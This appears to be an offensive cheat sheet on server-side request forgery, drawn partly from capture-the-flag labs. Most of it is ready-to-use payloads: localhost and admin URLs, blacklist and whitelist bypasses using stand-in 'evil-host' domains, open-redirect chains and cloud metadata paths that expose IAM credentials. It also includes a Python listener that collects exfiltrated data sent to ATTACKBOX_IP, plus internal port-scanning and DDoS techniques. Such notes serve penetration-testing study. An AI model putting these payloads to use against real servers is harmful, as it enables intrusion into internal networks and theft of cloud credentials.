Server-Side Request Forgery (SSRF)
SSRF is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location — whether internal resources, the server’s own localhost, or external targets — on behalf of the web server.
Basic SSRF
The goal is to use the target server as a proxy to access resources that you couldn’t reach directly.
URL parameter manipulation:
http://hrms.thm/?url=localhost/config
http://hrms.thm/?url=localhost/admin
http://vulnerable.com/product/stock?stockApi=http://localhost/admin
Common internal targets:
localhostor127.0.0.1169.254.169.254— AWS metadata endpointhttp://192.168.0.1— internal network
Blacklist-Based Filter Bypass
When applications block 127.0.0.1, localhost, or /admin:
Alternate IP Representations
127.1
2130706433 (decimal)
017700000001 (octal)
0x7f000001 (hex)
Double URL Encoding
Encode characters in blocked strings:
/admin → /%2561dmin (double-encode 'a' → %25 = %, then 61 = 'a')
http://127.1/%2561dmin
Domain That Resolves to 127.0.0.1
spoofed.burpcollaborator.net
Redirect from Trusted URL
Host a redirect on a trusted domain that points to the blocked resource. Try:
- Different HTTP redirect codes (301, 302, 307, 308)
- Switching protocol during redirect (http → https)
Whitelist-Based Filter Bypass
When applications only allow specific trusted hosts:
Credentials in URL
https://expected-host:fakepassword@evil-host
Fragment Trick
https://evil-host#expected-host
Subdomain Trick
https://expected-host.evil-host.com
URL Encoding
Encode characters that the filter decodes before matching, but the backend URL handler doesn’t:
https://expected-host%2fevil-path
Also try double-encoding for servers that recursively decode.
Open Redirect Chain
If the trusted host has an open redirect:
POST /product/stock
stockApi=http://trusted-host.com/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
Blind SSRF
Application makes the request but doesn’t return the response to the attacker.
Out-of-Band Detection
Use Burp Collaborator or your own server to detect DNS/HTTP callbacks:
http://vulnerable.com/product?url=http://BURP-COLLABORATOR-SUBDOMAIN
Try adding a Referer header if the standard URL parameter doesn’t trigger SSRF — some applications use the Referer header for external requests.
Blind SSRF Server to Capture Responses
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
with open('data.html', 'a') as file:
file.write(post_data + '\n')
self.wfile.write(f'Received: {post_data}'.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
httpd.serve_forever()
Trigger: http://hrms.thm/profile.php?url=http://ATTACKBOX_IP:8080
Other SSRF Scenarios
Internal Network Scanning
Use SSRF to scan internal hosts and ports by iterating IPs and watching for response differences:
stockApi=http://192.168.0.§1§/admin
Cloud Metadata Endpoints
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/
DDoS via SSRF
Force the server to request a resource it cannot handle (e.g., an oversized file or an infinite response).